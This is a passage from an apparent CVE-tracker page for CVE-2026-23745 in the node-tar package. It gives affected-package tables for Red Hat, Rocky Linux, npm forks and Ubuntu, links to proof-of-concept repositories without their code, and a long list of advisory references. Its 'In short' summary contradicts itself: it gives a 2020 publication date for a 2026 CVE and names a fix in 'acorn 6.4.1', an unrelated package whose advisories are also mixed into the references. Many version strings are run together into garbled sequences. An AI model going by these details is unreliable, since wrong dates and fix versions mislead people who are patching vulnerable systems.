before 0:2.26-7.el9 | 0:2.26-7.el9 |
sgx-commonRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
sgx-enclave-devel-debuginfoRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
sgx-libsRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
sgx-libs-debuginfoRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
sgx-mpaRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
sgx-mpa-debuginfoRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
sgx-pccsRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
sgx-pccs-adminRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
sgx-pccs-debuginfoRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
sgx-pckid-toolRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
sgx-pckid-tool-debuginfoRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
tdx-attest-libs-debuginfoRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
tdx-qgsRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
tdx-qgs-debuginfoRed Hat:enterprise_linux:9::appstream From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
linux-sgxRocky Linux:10 From an advisory covering 5 CVEs |
before 0:2.26-7.el10 | 0:2.26-7.el10 |
linux-sgxRocky Linux:9 From an advisory covering 5 CVEs |
before 0:2.26-7.el9 | 0:2.26-7.el9 |
tarRoot:npm |
before 6.1.11-aikido.10 | 6.1.11-aikido.107.5.1-aikido.124.4.19-aikido.36.2.1-aikido.87.4.3-aikido.86.2.0-aikido.106.1.11-aikido.47.5.1-aikido.96.1.11-aikido.56.1.11-aikido.64.4.19-aikido.47.5.1-aikido.106.2.1-aikido.96.1.11-aikido.76.1.14-aikido.46.1.11-aikido.86.2.1-aikido.104.4.19-aikido.57.4.3-aikido.96.2.1-aikido.116.1.11-aikido.94.4.19-aikido.67.4.3-aikido.106.1.14-aikido.57.5.1-aikido.114.4.19-aikido.76.2.1-aikido.126.1.14-aikido.67.4.3-aikido.116.1.13-aikido.66.1.13-aikido.76.1.13-aikido.87.4.3-aikido.124.4.13-aikido.16.2.0-aikido.11 |
@rootio/tarRoot:npm |
before 6.2.0-root.io.2 | 6.2.0-root.io.27.4.3-root.io.16.2.0-root.io.36.2.1-root.io.16.2.1-root.io.27.4.3-root.io.27.5.1-root.io.26.2.0-root.io.46.2.1-root.io.37.5.1-root.io.36.2.0-root.io.57.5.1-root.io.47.4.3-root.io.36.2.1-root.io.47.5.1-root.io.57.4.3-root.io.46.2.0-root.io.66.2.1-root.io.56.2.1-root.io.66.2.0-root.io.77.4.3-root.io.57.5.1-root.io.66.2.1-root.io.77.4.3-root.io.67.5.1-root.io.76.2.0-root.io.87.4.3-root.io.77.5.1-root.io.86.2.0-root.io.96.1.11-root.io.36.1.11-root.io.104.4.19-root.io.27.5.1-root.io.124.4.19-root.io.36.2.1-root.io.87.4.3-root.io.86.2.0-root.io.106.1.11-root.io.47.5.1-root.io.96.1.11-root.io.56.1.11-root.io.64.4.19-root.io.47.5.1-root.io.106.2.1-root.io.96.1.11-root.io.76.1.14-root.io.46.1.11-root.io.86.2.1-root.io.104.4.19-root.io.57.4.3-root.io.96.2.1-root.io.116.1.11-root.io.94.4.19-root.io.67.4.3-root.io.106.1.14-root.io.57.5.1-root.io.114.4.19-root.io.76.2.1-root.io.126.1.14-root.io.67.4.3-root.io.116.1.13-root.io.66.1.13-root.io.76.1.13-root.io.87.4.3-root.io.124.4.13-root.io.16.2.0-root.io.11 |
node-tarUbuntu:Pro:14.04:LTS |
All versions, plus listed versions 0.1.18-10.1.18-1ubuntu0.1~esm1 |
None known |
node-tarUbuntu:Pro:16.04:LTS |
All versions, plus listed versions 1.0.3-21.0.3-2ubuntu0.1~esm1 |
None known |
node-tarUbuntu:18.04:LTS |
All versions, plus listed versions 2.2.1-1 |
None known |
node-tarUbuntu:Pro:20.04:LTS |
All versions, plus listed versions 4.4.10+ds1-24.4.10+ds1-2ubuntu14.4.10+ds1-2ubuntu1+esm1 |
None known |
node-tarUbuntu:22.04:LTS |
All versions, plus listed versions 6.1.7+~cs11.3.10-16.1.11+~cs11.3.10-16.1.11+ds1+~cs6.0.6-1 |
None known |
node-tarUbuntu:24.04:LTS |
All versions, plus listed versions 6.1.13+~cs7.0.5-16.1.13+~cs7.0.5-3 |
None known |
node-tarUbuntu:25.10 |
All versions, plus listed versions 6.2.1+~cs7.0.8-1 |
None known |
node-tarUbuntu:26.04:LTS |
All versions, plus listed versions 6.2.1+~cs7.0.8-16.2.1+ds1+~cs6.1.13-66.2.1+ds1+~cs6.1.13-76.2.1+ds1+~cs6.1.13-10 |
None known |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | Jvr2022/CVE-2026-23745 | 2026-01-17 |
| PoC in GitHub | Novem13th/CVE-2026-23745-via-graphql-DEMO | 2026-03-26 |
| PoC in GitHub | OndrejDrapalik/node-tar-cve-demo | 2026-08-11 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| facts | ||
| affected | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-23745 is a high vulnerability (CVSS 8.2) in Isaacs Node-tar, published April 3, 2020. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 0.38%, the 31st percentile. Fixed in acorn 6.4.1.
References
github.com/isaacs/node-tar/security/advisories/GHSA-8qq5-rm4j-mr97
github.com/isaacs/node-tar/commit/340eb285b6d986e91969a1170d7fe9b0face405e
access.redhat.com/security/cve/CVE-2026-23745
bugzilla.redhat.com/show_bug.cgi?id=2430538
security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23745.json
access.redhat.com/errata/RHSA-2026:18480
Show 62 moreShow less
access.redhat.com/errata/RHSA-2026:18868
access.redhat.com/errata/RHSA-2026:2900
access.redhat.com/errata/RHSA-2026:41928
access.redhat.com/errata/RHSA-2026:3782
access.redhat.com/errata/RHSA-2026:19712
access.redhat.com/errata/RHSA-2026:6192
access.redhat.com/errata/RHSA-2026:2926
access.redhat.com/errata/RHSA-2026:2144
github.com/acornjs/acorn/issues/929
github.com/acornjs/acorn/commit/793c0e569ed1158672e3a40aeed1d8518832b802
snyk.io/vuln/SNYK-JS-ACORN-559469
npmjs.com/advisories/1488
github.com/advisories/GHSA-6chw-6frg-f759
nvd.nist.gov/vuln/detail/CVE-2026-23745
github.com/advisories/GHSA-8qq5-rm4j-mr97
access.redhat.com/security/cve/CVE-2025-13465
access.redhat.com/security/cve/CVE-2025-15284
access.redhat.com/security/cve/CVE-2026-23950
access.redhat.com/security/cve/CVE-2026-24842
bugzilla.redhat.com/2425946
bugzilla.redhat.com/2430538
bugzilla.redhat.com/2431036
bugzilla.redhat.com/2431740
bugzilla.redhat.com/2433645
errata.almalinux.org/10/ALSA-2026-18480.html
errata.almalinux.org/9/ALSA-2026-18868.html
github.com/CVEProject/cvelistV5/tree/main/cves/2026/23xxx/CVE-2026-23745.json
security-tracker.debian.org/tracker/CVE-2026-23745
github.com/isaacs/node-tar
docs.redhat.com/en/documentation/red_hat_enterprise_linux/10/html/10.2_release_notes/index
access.redhat.com/security/updates/classification
bugzilla.redhat.com/show_bug.cgi?id=2425946
bugzilla.redhat.com/show_bug.cgi?id=2431036
bugzilla.redhat.com/show_bug.cgi?id=2431740
bugzilla.redhat.com/show_bug.cgi?id=2433645
issues.redhat.com/browse/RHEL-110112
issues.redhat.com/browse/RHEL-121612
issues.redhat.com/browse/RHEL-140108
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_18480.json
cve.org/CVERecord?id=CVE-2025-13465
nvd.nist.gov/vuln/detail/CVE-2025-13465
github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg
cve.org/CVERecord?id=CVE-2025-15284
nvd.nist.gov/vuln/detail/CVE-2025-15284
github.com/ljharb/qs/commit/3086902ecf7f088d0d1803887643ac6c03d415b9
github.com/ljharb/qs/security/advisories/GHSA-6rw7-vpxm-498p
cve.org/CVERecord?id=CVE-2026-23745
cve.org/CVERecord?id=CVE-2026-23950
nvd.nist.gov/vuln/detail/CVE-2026-23950
github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6
github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w
cve.org/CVERecord?id=CVE-2026-24842
nvd.nist.gov/vuln/detail/CVE-2026-24842
github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46
github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v
docs.redhat.com/en/documentation/red_hat_enterprise_linux/9/html/9.8_release_notes/index
issues.redhat.com/browse/RHEL-127046
issues.redhat.com/browse/RHEL-140109
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_18868.json
errata.rockylinux.org/RLSA-2026:18480
errata.rockylinux.org/RLSA-2026:18868
ubuntu.com/security/CVE-2026-23745
Left out here: the rest of 2 source descriptions. The JSON record has them.